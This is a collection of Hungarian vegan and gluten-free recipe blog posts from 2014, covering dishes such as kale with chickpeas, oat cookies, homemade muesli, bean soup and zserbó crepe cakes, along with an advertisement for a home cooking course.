Egy serpenyőben 2 evőkanál kókuszzsíron dinszteljük meg a vöröshagymát 2-3 perc alatt. Adjuk hozzá a főtt rizst, a sütőtökpürét, sót, borsot, fokhagymát, kurkumát, cayenne borsot. Jól keverjük össze és pirítsuk 4-5 percig, amíg az ízek összeérnek.
Én kikanalaztam a rizst egy tálba és ugyanebben a serpenyőben folytattam tovább a főzést. Tegyünk a serpenyőbe 1 evőkanál kókuszzsírt, adjuk hozzá a tofut, sózzuk, borsozzuk, majd adjuk hozzá a juharszirupot és magas láng felett pirítsuk meg (közben forgassuk a kockákat, hogy minden oldalukon megpiruljanak). A tofut hozzáöntöttem a rizses keverékhez és a serpenyőt visszatettem a tűzhelyre.
Tegyünk bele 1 evőkanál kókuszzsírt, majd dobjuk bele a leveleskelt és magas lángon pirítsuk meg, 2-3 perc után öntsünk hozzá 2 evőkanál vizet, hogy kicsit párolódjon. Sózzuk, borsozzuk és a végén locsoljuk meg egy kevés citromlével. Ezt is öntsük a rizses keverékhez és már tálalhatjuk is.
*****
Manapság így zajlik a fotózás, ha Ádi is itthon van…
Gluténmentes mazsolás zabkeksz narancsos csokiöntettel
2014. március 3. Éltető ételek
Nagyon szeretem a kekszeket, hétvégén gyakran sütők. Így a következő hétre lesz mit csomagolni a gyerekeknek uzsonnára. A osztálytársaknak is nagyon ízlik, sokszor a gyermekeim éhesen jönnek haza. Hozzávalók: - 20 dkg puha vaj - 15 dkg kókuszvirág cukor vagy méz - 1 tojás - 20 dkg zabliszt - 20 dkg apró szemű zabpehely - 10 dkg mazsola vagy áfonya (de került már bele aszalt sárgabarack is) - 1/2 csoki apró darabokra vágva - 1 tk. szódabikarbóna - 1 mk. vanília, fahéj - csipet só - A tojást habosra keverjük a mézzel vagy a cukorral, majd hozzádolgozzuk a puha vajat. - Hozzáadjuk a többi hozzávalót is. - A tepsibe teszünk egy zsírpapírt, majd a masszából kis gombócokat formálunk, amit villával lelapítunk. - Előmelegített sütőbe, 180 fokon megsütjük. - Várjuk meg, hogy a tepsiben kihüljön, szépen összeáll.A tetejére készíthetünk egy csokimázat, ami isteni ízt ad neki. - olvasztott csoki - narancsolaj A csokit gőz felett felolvasztjuk, majd hozzátesszük a narancsolajat. Rácsorgatjuk a kekszekre, és hagyjuk kihűlni. Pár óra alatt szépen megkeményedik a csoki rajta.
Mákos hajdinasült szilvasziruppal
2014. március 2. Mindennapi ételeink
Reggeli csemege :-) Hozzávalók: 40 dkg hajdina 3 l növényi tej 1 citrom héja vaníliapor v. vaníliás cukor kb. 10 dkg xilit 1 csipet himalaya só -- 10 dkg mák 1-2 ek. kókuszzsír szilvalekvár +szilvaszirup Elkészítés: A hajdina ilyen jellegű megfőzését Nagy Zsuzsától tanultam. Vele írtuk a négy vegán szakácskönyvet. A3 liter növényi tejet egy csipet sóva felforraljuk, majd a felével leforrázzuk a hajdinát, és lefedve hagyjuk állni 10 percig. Utána leszűrjük, és a maradék forrásban lévő tejbe öntjük. Addig főzzük, amíg a szemek teljesen kinyílnak és a tej is elfő. Ekkor adjuk hozzá a citromhéjat és a vaníliát. Közben daráljuk meg a mákot és a cukrot, keverjük össze. Adjuk hozzá a hajdinához. Kevés kókuszzsírral vagy olajjal kenjünk ki egy tepsit, majd simítsuk bele a hajdinát. Kenjük meg szilvalekvárral és locsoljunk rá szilva szirupot. 180 fokon kb. 20 perc alatt süssük készre.
"Jól induljon a nap" alap müzli - Bolti müzli egészséges változata
2014. február 27. Éltető ételek
Ma a boltban vásároltunk, mikor a lányom a müzlis polcok felé vette az irányt. Már eléggé bele van nevelve az, hogy az összetevőket megnézze, így mikor levett a polcról egy müzlit, rögtön az INCI-t vette szemügyre. - Anya, a cukor csak a sokadig összetevő! Ez jó, vegyük meg! - Na, akkor had nézzem csak meg! Elkezdtem olvasni az összetevőket. Az első helyen a pelyhek álltak, volt benne vagy 5féle. Utána jött a cukor, majd a glükóz szirup is. Hát ez csak nem jó, rögtön vissza is tettük a polcra. Viszont a lányom csak nyaggatott, hogy ő úgy enne müzlit, ami a boltihoz hasonló. Ugyanakkor itthon mindig van kétféle aszalt müzli, de ez egy cseppet sem hasonlít a boltihoz. Még finomabb is, szerintem. Na de már csak ilyenek a gyerekek, a bolti címkék, reklámok irányítják, úgyhogy elkészítettem egy instant müzlit, amit csak tejbe kell tenni, és már ehetik is. Ma este meg is volt a főpróba evés, reggelire is ezt kértek. A másik apropó, hogy ez a müzli elkészült, az, hogy egy kedves ismerősömnek ilyen házilag összekevert müzlit vásároltam Pesten. Megnéztem az összetevőit, hát ilyet én is (és ti is) tudok készteni. Úgyhogy ennek a két behatásnak köszönhetem ezt a müzlit. Hozzávalók: - 15 dkg zabpehely - 7 dkg őrölt arany lenmag - 7 dkg csíráztatott, majd megszárított hajdina - 10 dkg áztatott, majd szárított dió vagy más olajos mag (pl. mandula, mogyoró, napraforgómag) - 10 dkg aszalt gyümölcs (én áfonyát és mazsolát tettem bele, savanykás gyümölcs legyen benne!) - 3 dkg kókuszreszelék - 3 ek. puffasztott amaránt - 3 ek. őrölt hántolatlan szezámmag - 3-4 ek. kókuszvirág cukor - 1/2 tábla csoki beledarabolva - fahéj, vanília Ezt jól összekeverjük, és egy csavaros tetejű üvegbe tesszük. Egy kis tálkába öntöttem mandulatejet, tettem hozzá 3-4 ek. müzlit, és belekockáztam 1 banánt (más gyümölcsöt is tehetünk hozzá, idényjelleggel). Egy kicsit érdemes állni hagyni, és már ehetjük is. Nálunk ötösre vizsgázott! Jó étvágyat!
Készítsünk együtt egészséges és gyors ételeket a saját otthonodban!
2014. február 24. Éltető ételek
Szívesen kipróbálnál egészséges, teljes értékű nyers és főtt ételeket, de nincs időd elmenni egy főzőtanfolyamra? Szívesen elhívnád barátnőidet, hogy együtt ismerkedjetek meg a finom és egészséges ételekkel? Érzed, hogy változtatni kellene, de nem tudod, hogy hogyan kezd el? KÉSZÍTSÜNK EGYÜTT nyers és főtt ételeket! Válassz a menüajánlat közül és már kezdhetjük is! Hívj fel, egyeztetünk időpontot, a többit intézem én: beszerzem a kiváló minőségű alapanyagokat, majd a megbeszélt időpontban becsengetek hozzád. Kb. 3 óra alatt közösen elkészítjük a kiválasztott ételeket, közben megismerkedhetsz az alapanyagokkal, beszerzési forrásokkal is. Ár: - 9000 Ft/fő (2 fő részvétele esetén) - 8000 Ft/fő (3 fő részvétele esetén) - 7000 Ft/fő (4 fő részvétele esetén) Mit tartalmaz az ár? - 3 órás, személyre szabott főzőtanfolyam a saját konyhádban - alapanyagok beszerzése és házhozszállítása - kinyomtatott receptfüzet - bevásárlótippek - a házigazdának egy "Éltető ételek" ajándékcsomag Kiszállási díj: - Tiszaújváros és 10 km-es vonzáskörzete: INGYENES - 10-30 km-es körzetben: 3.000 Ft - 30-50 km-es körzetben: 5.000 Ft Jelentkezz, és megbeszéljük a részleteket: 06-20/957-0511. Vagy írhatsz e-mailt: riczu.aniko73@gmail.com MENÜAJÁNLAT: 1. Egészséges reggeli, vacsora ötletek, Gluténmentes - Zöld turmix (nyers) - Kókuszos rizskása házilag készített mandulatejjel (főtt) - Narancsos rizspuding mazsolával és pirított mogyoróval (főtt) - Gyümölcsös hajdinakása (nyers) - Mandulás körtezselé hajdinacsírával (nyers) - Hajdinás amerikai palacsinta (főtt) 2. Egészséges reggeli, vacsora ötletek, Gluténmentes - Búzafű (nyers) - Kolláth reggeli (nyers) - Mazsolás kukorica-köleskása házilag készített mandulatejjel (főtt) - Datolyakrémmel töltött "túró" gombóc (főtt) - Téli fűszerezési smoothie (nyers) 3. Egészséges reggeli, vacsora ötletek, Gluténmentes - Egzotikus zöld turmix (nyers) - Hogyan csíráztassunk? - kóstoló (nyers) - Zöldséges Kolláth (nyers) - Zab az étlapon, kásák változatos elkészítéssel (főtt) - Gyümölcs"rizs" (nyers) 4. Egészséges reggeli, vacsora ötletek, Gluténmentes - Mandulás gyümölcs smoothie (nyers) - Müzli készítése házilag (nyers) - Mag és gabonatejek házilag (nyers) - Kenyérfeltétek (nyers és főtt) - Saláták ezer arca 5. Egészséges nasik, gluténmentes - Zserbó bon-bon - Ezerarcú csokikrém gyorsan - Müzligolyó - Mennyei datolyavajas praliné mogyorós csokival - Narancskrémmel töltött nyers muffin 6. Egészséges nasik, gluténmentes - Zserbó szelet - Brownie praliné - Pohárkrémek: gyorsan, valami fnomat - Gyümölcs"rizs" - Almakrémmel töltött nyers muffin 7. Egészséges nasik, gluténmentes - Kókuszos praliné - Müzli golyó - Mini aszaltszilvás csokitorta - Diókrém falatkák - Mákos "tészta" 8. Egészséges nasik, gluténmentes - Raffaello - Barackos tökpuding - Mini banános csokitorta karamell réteggel - Almás mákpuding - Kókuszos tekercs 9. Nyers menü készítés - Tyúkhúros zöld turmix - Édes, krémes körteleves - Székelykáposzta magtejföllel - Narancskrémmel töltött nyers muffin - Almatorta karamell öntettel 10. Nyers menü készítés - Gyömbéres-citromos mángold turmix - Narancsos sütőtök krémleves - Marinált zöldség fasírttal - Raffaello - Aszaltszilvás csokitorta
Köleses zöldséges bableves
2014. február 19. Éltető ételek
Még anyósomtól tanultam a tésztás bableves elkészítését, melybe mindig reszelt tésztát tett. Mostanában törekszem arra, hogy gyakrabban legyenek gluténmentes étkezések, így a tészta helyett köles került a levesbe. A gyerekeimnek ízlett, így ez a változat is mentve lett. Hozzávalók: - kb. 25 dkg fehér bab, éjszakára áztatva - 1 sárgarépa - 1 fehérrépa - 1 hagyma - 3-4 gerezd fokhagyma - kókuszolaj, pirospaprika, só, bors - házi ételízesítő - babérlevél, kömény - 1 marék köles A babot 2-3 db babérlevéllel felteszem főzni. Közben kevés kókuszolajon megdinsztelem az apróra vágott hagymát, és belereszelem a fokhagymát is. Teszek hozzá 1 tk. pirospaprikát, ekkor már le kell venni a tűzről, nehogy megégjen a paprika. Amikor már majdnem megfőtt a bab (kb. 45 perc), hozzáteszem a hagymás zsírt, és az apró kockára vágott zöldségeket, és fűszerezem. Mikor már félig puha a zöldség, akkor teszem bele az átmosott kölest. Még 10 perc, és kész is a leves. Zöld levelekkel (zeller, petrezselyem) lehet díszíteni. Jó étvágyat!
Biopiac & átvariált kelkáposzta főzelék
2014. február 17. Vegasztrománia
Ritkán járok a Mom Biopiacra, mert messzebb van, és eddig a pillanatig mindenféle prekoncepcióim voltak - annak ellenére, hogy voltam már ott. De felfedeztem két olyan helyet, ahová érdemes visszajárni szombatonként (több is van, de nekem most ez a kettő lett a szívem csücske). Ők csak szezonális zöldségeket árulnak és olyan salátaféléket, amikről eddig életemben nem hallottam. Vettem póréhagymát, csicsókát, lila káposztát, és hatféle salátát: vízitormát, tyúkhúrt - a többinek elfelejtettem a nevét, pedig tisztességgel végigkérdeztem. Sütött a nap, isteni volt.
Zöldre és főzelékre vágytam. Azt találtam ki, hogy csinálok egy kelkáposzta főzeléket csicsókával (az egyetlen zöldség, amivel még barátkozom), kicsit más ízekre hangolva. Azt kell, hogy mondjam, zseniálisan sikerült! Nagy újításom benne, hogy vegán, és kesudióval krémesítem. Telitalálat!
Alapvetően szerettem volna felismerhető részeket is hagyni benne, de ez félresikerült, az esztétikai érzékem pedig nem engedte, hogy úgy maradjon. Egy nagyon sűrű krémleves lett belőle, ami viszont arra vezetett rá, hogy a folyadék mennyiségével lehet variálni, így az alapokat felhasználva lehet belőle krémleves, főzelék, püré köretnek, vagy krém kenyérre.
Átvariált kelkáposzta főzelék
Hozzávalók: (2 adag)
1 kisebb vagy 1/2 nagy póréhagyma felkarikázva 2-3 gerezd fokhagyma apróra vágva 1 kis darab (1 1/2 - 2 cm-es) gyömbér lereszelve 4 csicsóka megpucolva, kockákra vágva 1/2 kisebb fej kelkáposzta csíkokra vágva 1/2 zöldségalaplé 3/4 csésze kesudió egy éjszakára beáztatva, lecsepegtetve só frissen őrölt fekete bors 1 kk garam masala 1 kk curry fűszerkeverék (koriander, chili, kurkuma, fahéj, római kömény, édeskömény) 1/2 lime 1-2 ek kókuszolaj (vagy más növényi zsiradék)
Felhevítettem a kókuszolajat, majd a póréhagymát, a gyömbért és 1 fokhagymát kb. 5 percig pirítottam. Hozzáadtam a csicsókát és a kelkáposztát, pirítottam együtt pár percig, majd felöntöttem az alaplével. Hozzáadtam a maradék fokhagymát, sóztam, fűszereztem. Kb. 10 perc alatt megpuhultak. Ekkor hozzáadtam a kesudiót, és botmixerrel pürésítettem (kivehetünk kelkáposztát és csicsókát, amit tálalásnál visszateszünk a tetejére). Rácsavartam a lime levét és összekevertem.
Feltétnek sárgarépás falafel golyókat és tyúkhúrt használtam, de el tudom képzelni tükörtojással is, vagy..
Szezámmagos szendvicskrém
Eredetileg hamis tepertőkrém a neve, de az ottani vitákat megelőzve szezámmagos szendvicskrémre kereszteltem. Egy nagyon egyszerű és finom krémet képzeljetek el, ami ásványi anyagokban és telítetlen zsírsavakban gazdag. A kókuszsír ugyan nem, de kis mennyiség szükséges bele. Ráadásul szoptatósok figyelem! :) Nincs benne hagymaféle, se káposzta, se gomba, se hüvelyes... A recept egy az egyben Vegalife Gyöngyié, az utóbbi időben sokszor készült a konyhánkban, és mindenkinek a kedvence lett, azért is reklámozom. Hozzávalók: 140 g szezámmag 80 g lenmag 1-2 ek olivaolaj 1-2 ek nem hidrogénezett kókuszzsír 1 tk pirospaprika 1 tk őrölt köménymag só 70 g szezámmagot finoman megpirítunk, nagyon kell vele vigyázni, mert hamar megég és akkor kesernyés lesz az íze. Mikor lehűlt, a többi maggal együtt finomra daráljuk kávédarálón. Majd hozzáadjuk a pirospaprikát, köménymagot és a sót is. A végén belekeverjük az olajat és a kókuszzsírt is.
Póréhagymás-kurkumás csicserileves
2014. február 11. Mindennapi ételeink
Hozzávalók: 2 közepes póréhagyma 15 dkg csicseriborsó 3-4 tk. kurkuma 3 gerezd fokhagyma himalaya só - ízlés szerint levespor és ételízesítő 2 ek. kókuszzsír 1 dl szójadresszing 1 tk. paprikakrém 1 csokor petrezselyem Elkészítés: A csicseriborsót előző este beáztatjuk és másnap sós vízben kifőzzük. A zöldségleves kockából alaplevet főzünk. A póréhagymákat felkarikázzuk és 2 ek. kókuszolaj + víz keverékén megpároljuk. Amikor roppanós, hozzáadjuk a kurkumát, az ételízesítőt és a sót. Puhulásig főzzük, majd felöntjük vízzel és szójatejszínnel és összeturmixoljuk. Beletesszük a megfőtt csicseriborsót, a felaprított petrezselymet és 5 perc alatt összefőzzük. Reszelt növényi sajttal, esetleg pirítóssal tálaljuk.
Villámgyors ebéd + az első hét cukor nélkül
2014. február 10. Zizi kalandjai
Nem ez a bejegyzés következett volna, de most átugrunk egy részt, aztán majd visszatérünk arra a bejegyzésre, ami ezután fog következni. Világos?
Sokan (főleg otthon lévő anyukák) kértétek, hogy osszak meg olyan recepteket, amelyeknek az elkészítése kevés időt vesz igénybe, így a babák, gyerekek ellátása mellett is tudtok meleg ételt tenni az asztalra. Ez nem könnyű feladat, tudom. Nálunk is trükközést igényel a főzés és néha az ebéd eltolódik vacsorába, mert adagokban tudom elkészíteni, még akkor is, ha kevés időt vesz igénybe. Ádi nem igazán alszik napközben a kiságyában, szóval sétálni kell menni vele és így tud aludni. Szóval nálunk nem működik az, hogy, amíg alszik a baba, addig összedobok egy gyors ebédet. Ez csak akkor valósítható meg, ha I. itthonról dolgozik és elviszi sétálni Ádit, én meg másfél óra alatt összedobom a mi ebédünket, az övét és, ha minden jól megy, még fotózni is tudok, meg elpakolni mindent, ami a fotózással jár. Ha extra gyors vagyok, akkor marad még 5 percem leülni megenni az ebédet vagy szörfözni egy kicsit a neten… vagy ha nagyon fáradt vagyok, akkor ledőlök a kanapéra és alszom 5-10 percet.
Ez a a villámgyors ebéd (és ebből egy sorozatot szeretnék itt a blogon) pirított fokhagymás citromos leveleskelből állt, valamint készítettem hozzá pirított füstölt paprikás, citromos csicseriborsót és főztem egy adag rizst. A hét közepén dobtam ezt össze először és annyira ízlett, hogy ma megcsináltam még egyszer, hogy le is tudjam fotózni. A leveleskelt még sörélesztő pehellyel ízesítettem, a csicseriborsót pedig füstölt piros paprikával és köménymaggal.
A sörélesztő pehelyről... Aki még nem próbálta ki, annak jelzem, hogy nincsen se sör, se élesztő íze és nincsen erjesztő képessége sem. A sörélesztő egy vitamin kincsesbánya. “Található benne B-komplex, ami tartalmaz B1 vitamint (thiamin), B2 vitamint (riboflavin), B3 vitamint (niacin), B5 vitamint (pantoténsav), B6 vitamint (piridoxin), B9 vitamint (folsav), és H vagy B7 vitamint (biotin). Ezek segítenek a szénhidrátok, zsírok, fehérjék lebontásában. Jó hatással vannak az idegrendszerre, az emésztőrendszerre, valamint a bőr, a haj, a száj, és a máj egészségi állapotára. A sörélesztőben a létező 24 aminosavból 16-ot találhatunk. Jelentős a kálcium, króm, szelén, vas és foszfor tartalma. Találunk benne rezet, cinket és jódot is. A sörélesztőpelyhet egy egysejtű gombából, a Saccharomyces cerevisiae -ből készítik. Ezt a gomba fajt kifejezetten étrend kiegészítőkben való felhasználásra is szaporítják, gabonákon. Pehely formájában a sörélesztő már nem tartalmaz élő gombákat, így jó tudni, hogy candida-kúrán lévők is fogyaszthatják. Cukorbetegeknek is különösen ajánlott a fogyasztása, mivel a sörélesztő magas króm tartalma segíti a vércukorszint szabályozását. A cukorbetegek hasnyálmirigye nem tud megfelelő mennyiségű inzulint termelni, ami átalakítaná a vércukrot. Megfigyelések szerint a króm csökkentheti a vércukorszintet, ugyanakkor növeli a glükóz érzékenységet, így csökkentve a szükséges inzulin mennyiségét. A sörélesztő olyan energiaforrás, amely növeli állóképességünket, erősíti immunrendszerünket, javítja a máj működését, így hozzájárul a méregtelenítéshez.” (Forrás: innen.) Fogyasztása tehát nemcsak vegetáriánusoknak és vegánoknak ajánlott, hanem húsevőknek is.
A füstölt édes paprikáról – ami pimiento paprikából készül – pedig ódákat tudnék zengeni. Illata mesés és ha főzünk vele a mennyországba jutunk… na jó, nem… de a vele ízesített ételeket teljesen átformálja. Állítólag aromáját az adja, hogy tölgyfahordókban tárolják. Én a képen látható dobozt Madridból kaptam, de bármilyen más márkájú füstölt paprika por használható az ételhez.
Nagyon szeretem a savanykás ételeket, ezért a leveleskelre és a csicseriborsóra is facsartam egy kevés citromlevet és ahogy az ízek összeálltak, kerek egészet alkottak (úgy éreztem magam, mint Anto Ego, aki megkóstolta a ratatouille-t ). Végtelenül egyszerű étel, talán ebben rejlik nagyszerűsége. Néha nem kellenek különleges alapanyagok, órákig tartó főzés vagy sütés, mégis, amit leteszünk az asztalra magunk elé, megmelengeti a testünket, lelkünket és jól érezzük magunkat tőle.
Elég a fecsegésből, jöjjön a recept!
Pirított citromos leveleskel és füstölt paprikás csicseriborsó
Hozzávalók 2 főre:
- 1 közepes csokor leveleskel, a levelek eltávolítva a szárról és falatnyi darabokra tépkedve
- 3 gerezd fokhagyma, meghámozva, összetörve
- 2 evőkanál sörélesztő pehely
- 1 konzerv (400 g) csicseriborsó, lecsöpögtetve
- 1 fej vöröshagyma, meghámozva, felkockázva
- 1 teáskanál füstölt, édes piros paprika
- 1/2 teáskanál köménymag
- 1/2 citrom leve
- só, bors
- kókuszzsír vagy olívaolaj
- főtt rizs, köretnek
Egy teflon serpenyőben hevítsünk 2 evőkanál kókuszzsírt, dobjuk rá a levelekelt és 5-6 perc után – ha megfonnyadnak kicsit a levelek -, adjuk hozzá a fokhagymát. Pirítsuk legalább 5 percig (ha nagyon száraznak találjuk öntsünk hozzá 50 ml vizet), sózzuk, borsozzuk, majd öntsük rá 1/4 citrom kifacsart levét és szórjuk meg a sörélesztő pehellyel. Keverjük meg és szedjük ki a tányérokra.
Ugyanebben a serpenyőben (nem kell elmosni) hevítsünk újra 2 evőkanál kókuszzsírt, adjuk hozzá a felkockázott vöröshagymát. Dinszteljük 2-3 percig, majd szórjuk meg a füstölt paprikával, köménymaggal és adjuk hozzá a főtt csicseriborsót. Ízlés szerint sózzuk, borsozzuk. Főzzük 3-4 percig, majd locsoljuk meg a maradék 1/4 citrom levével. Tálaljuk a leveleskellel és rizzsel.
Úgy érzem nagyon jól vesszük az akadályokat és úgy tűnik, hogy könnyebben “vészeljük” át a cukormentes kihívást, mint eddig valaha. Az első napokban nagyon sokat nasiztunk (főleg magokat: mandula, kesudió, paradió) étkezések után, mert hiányérzetünk volt (az a bizonyos kocka csoki ). Még jobban figyelek vásárláskor, címkét olvasok, hogy nehogy vegyek olyan élelmiszert, amiben van tojás, tejtermék vagy cukor. Figyeljetek oda, mert sok növényi tejben van cukor! Azért várom már a végét – mint mindig -, hogy valami finom édeset ehessek.
Nagyon örülök, hogy rengetegen írtatok és csináljátok a kihívást. Sok-sok képet is küldtetek az ételekről, italokról, hogy mit esztek-isztok ebben a hónapban. Aki ír saját blogot és heti bontásban beszámol az élményeiről, az küldje el nekem a bejegyzés linkjét, beteszem ide. Aki használ Instagramot, az a kihívás idején februárban címkézze fel az általa elfogyasztott ételek képeit az alábbiak szerint: #februaricukormenteskihivas.
Kitartást mindenkinek!
Zserbós palacsinta-tortácskák (vegán)
Zserbó is, palacsinta is, tortácska is. Szeretem a zserbót, az igazi, házi zserbót, de a palacsintát is. S hát mit tagadjam, a tortákat pedig végképp. Az pedig külön öröm, ha a torta egészséges.
Ennek a palacsintának az a különlegessége, hogy a tésztáját tepsiben (~20x30) sütöttem meg. 3 palacsinta "lapot" készítettem. Ez lett az alapja a zserbónak, majd az összeállított sütit szikkadás után a pohárral kiszaggattam.
A recept:
Hozzávalók:
- 15 dkg teljes kiőrlésű liszt
- 25-30 dkg fehér liszt
- ~ 9-10 dl víz
- 1 csipet só
- 8 dkg lenmag (őrölve)
- 8-10 dkg zabpehely (őrölve)
Töltelék:
- baracklekvár
- dió
- nyírfacukor/nádcukor/gyümölcscukor, stb
Máz:
- karobpor vagy kakópor
- nyírfacukor/nádcukor/gyümölcscukor, stb
- 1-2 ek kókusz zsír
- 1-2 ek víz vagy növényi tej
Elkészítés:
A palacsinta száraz hozzávalóit összekeverjük egy tálban, majd folyamatos keverés közben hozzáöntjük a vizet. Szerintem növényi tejjel vagy szénsavas vízzel is próbálkozhatunk. A zabpehely és lenmag segíti a tésztát abban, amiben máskülönben a tojás. Összekeverés után, elvileg palacsintaszerű tésztát kell kapjunk, enyhén sűrűbb lesz, mint a tojással kikevert. Ha túl sűrű, vízzel hígíthatjuk (ez esetben nem tudunk vékony tésztát sütni palacsintasütővel, és nem is biztos, hogy belül a vastag tészta át tud sülni). Ha túl folyós, keverjünk hozzá még egy kevés lisztet. Ha nem tudjuk megfordítani, mert túl "lágy",vagy leragad, akkor több a víz benne, tehát lisztet kell hozzáadni. Ha nincs gyakorlatunk abban, hogy tojásmentes palacsintát készítsünk, vagy biztosra akarunk menni a tepsiben sütésre szánt nyers palacsinta tésztával, akkor először teszteljük palacsinta sütőben, hogy jól állítottuk-e össze a tésztát.
Ez esetben a palacsinta sütőnket - remélhetőleg teflon bevonatú edény - felmelegítjük. A legelső sütéshez a biztonság kedvéért cseppenthetünk egy-két csepp olajat, vagy tehetünk bele icipici kókuszzsírt. A továbbiakhoz egyáltalán nem használok semmilyen olajat vagy zsírt. De ehhez szükséges, hogy teflon bevonatú sütővel dolgozzunk.
Miután kisültek a "teszt"palacsinták, megtöltjük őket. Majd sütőpapírral bélelt tepsiben megsütjük a palacsinta-zserbó 3 lapját, immár tepsiben, sütőben sütve. A tepsibe kb. 3 merőkanálnyit merünk a nyers, sütésre váró tésztából. Előmelegített sütőbe tesszük. Amikor tapasztaljuk, látjuk, hogy alulról átsült a tészta, a sütőpapír két végénél megfogva megfordítjuk a tepsiben a tésztát. Érdemes ekkor gyorsan egy-két csepp olajat a tepsi aljába (főként a tepsi közepébe) cseppenteni, elkenni gyorsan ecsettel, és így ráfordítani a palacsinta másik felét (ami nem sütőpapíros). Így biztos nem fog a palacsinta másik oldala leragadni. A sütőpapír ne zavarjon, azt később, mikor már mindkét oldala megsült, le tudjuk fejteni. Attól se ijedjünk meg, ha a palacsinta egy része "felhólyagosodik" a sütés során. Helyreáll a "hólyag", amint átfordítjuk a tésztát. (1 lap összesen kb. 20-30 percet sült.)
Ha elkészült a három - megközelítőleg egyforma vastagságú és nagyságú - palacsintalap, nincs más dolgunk, mint diót édesítőszerrel összeaprítani (ha daráljuk, akkor utólag édesítjük). Az első lapot megkenjük jó kis házi baracklekvárral, megszórjuk az édes dió-darálékkal. Ezt követően rátesszük a következő lapot, amivel hasonlóan járunk el, végül az utolsó palacsintalap következik, amire a "csoki"máz jön.
A csokimázat gyorsan és egyszerűen az alábbiak szerint készítjük el: A kókuszzsírt megolvasztjuk, beleszórjuk a karobport (vagy kakaóport), hozzáadunk ízlésünknek megfelelő mennyiségű édesítőt (nádcukor, nyírfacukor, stb.) Alacsony lángon forráspontig keverjük, majd pár csepp vizet is hozzáadunk. Amikor már olyan állaga van, amit a palacsinta tetején el tudunk kenni, akkor szépen elkenjük a mázt. Hűtőben dermesztjük. Ha időközben úgy látjuk, hogy még egy réteg csokimáz jól jönne a tetejére, akkor megismételjük. (Nálam jó lett volna így tenni, de egyéb okok miatt elmaradt.) A megdermedt palacsinta-zserbót felszeleteljük. Ha kör formájú sütiket szeretnénk, szorosan egymáshoz közel pohárral vagy palacsintaszaggatóval "kikorongozzuk".
UI: Valentin-nap közeledtével ugyanezt a "hadműveletet" ;) elkészíthetjük szív alakú pogácsa-szaggatóval, vagy szív alakú tortaformában megsütve a palacsinta-lapokat. (Ez esetben kevesebb tészta kell egy lap sütéséhez.)
Vöröslencsés rizsfasírt
Az utóbbi idők egyik legfinomabb fasírtja, amit készítettem. Persze lehet, hogy azért is, mert a hüvelyesek Ábel miatt eléggé háttérbe szorítódtak, pedig vegán-vegetáriánus táplálkozásnál heti egy-kétszeri fogyasztásuk szinte elengedhetetlen. Talán emiatt is van, hogy olyan kajákra vágyom újabban, mint egy nagy adag zöldséges babfőzelék (olyan bükkszenti Mama módra), vagy savanyú káposzta hagymás olajjal. :) Hozzávalók: 200 g barnarizs 200 g vöröslencse 1 kisebb zeller 3 ek zabliszt 1/2 diónyi vöröshagyma 1 kk borsikafű, őrölt kömény, majoránna 1 szál babérlevél 1 tk vegamix só kókuszolaj (nem hidrogénezett) 1/2 bögre tk. zsemlemorzsa A lencsét beáztatjuk éjszakára, de legalább néhány órára, azután 1 tk sóval, babérlevéllel fűszerezve puhára főzzük. (Szerencsére a vörös lencse nagyon hamar fő, nem szükséges kuktába tenni, de lehet.) A barna rizst kevés sóval és a vegamixszel 2,5x-es mennyiségű vízben bő 40 perc alatt puhára főzzük. A zellert lereszeljük, a hagymát felaprítjuk, és a borsikafűvel, őrölt köménnyel, majoránnával együtt a lecsöpögtetett vörös lencséhez keverjük. Rászórjuk a zablisztet, hozzáadjuk a főtt rizst is, és egyenletesen átkavarjuk. Vizes kézzel a masszából pingpong labdányi golyókat formázunk, amit azután ellapítunk ujjnyi vastagokra. Megforgatjuk őket a zsemlemorzsában. Kiolajozott tepsibe tesszük, kb. fél órát sütjük közepes hőfokon. Félidő táján a fasírtokat megfordítjuk, és úgy sütjük tovább.
Csokis kókuszgolyó sok-sok kókuszreszelékkel
Nagyon finom ez a kókuszgolyó, nagyon hasonlít a kókuszkocka ízére.
Gyorsan elkészíthető, finom sületlen sütike.
Hozzávalók: méz, cukrozatlan kakaópor, kókuszreszelék, kókuzszsír (+ még rakható bele mandulatejből megmaradt mandulaliszt is).
Elkészítés: A mézben elkeverjük a kakaóport, majd beletesszük a kókuszreszeléket, a szilárd, de puha kókuszzsírt és a mandulalisztet. Összegyúrjuk, és már kész is van. Ha túl lágy, picit mehet dermedni a hűtőbe.
Tetejére aszalt goji bogyót tettem, de lehet finom meggyet is a belsejébe rejteni.
Kipróbálni kötelező minden csokis és kókuszos íz imádónak!
Jó étvágyat!
Rakott gyalult tök
Fagyasztónkban van még néhány finom gyalult tök, amelyek egy nagyobb részét eddig elsősorban tökfőzeléknek használtam fel. Már egy ideje gondolkodtam azon, hogy milyen más ételt lehetne készíteni a tökből a főzelék helyett. Egyszer csak jött az ihlet, hogy tepsibe is megsüthetném, egy kis rizzsel összekeverve. Így készült el az alábbi receptem.
A recept:
Hozzávalók:
- 1 kg gyalult tök
- 30 dkg barna rizs
- 1,5 dl zabpehely őrölve
- 2 evőkanál őrölt lenmag
- 1 nagy fej hagyma
- 1 evőkanál ételízesítő
- víz
- petrezselyem
- 2 dl növényi tejszín
- durvára őrölt magok (opcionális)
- reszelt vagy ecetes torma (opcionális)
Elkészítés:
A barnarizst átmossuk, majd feltesszük főzni. Hagymát aprítunk és egy kevés vízen megpároljuk.
Amikor üvegesre párolódott, hozzáadjuk a gyalult tököt. Megszórjuk ételízesítővel, adunk hozzá pár gerezd fokhagymát felaprítva, vagy fokhagymaprésen átnyomva. Öntünk hozzá kb. 2 dl növényi tejszínt és lassú tűzön addig főzzük, míg a tök megfő, megpuhul. A főzés utolsó 8-10 percében aprított petrezselymet szórunk a tejszínes tökhöz.
Fogunk egy tepsit. Kókuszzsírral kikenjük vagy sütőpapírral kibéleljük. A megfőtt barna rizst összekeverjük a kész tejszínes tökkel, szórunk bele lisztté darált zabpelyhet és lenmag-őrleményt, majd összekeverjük. Végül a tepsibe tesszük a masszát, a tetejére őröl magokat szórhatunk.
Közepes lángon kb. 30-40 percig sütjük.
Kiadós, laktató, egészséges! Tormával ettük, nagyon klassz volt együtt.
Bundás alma
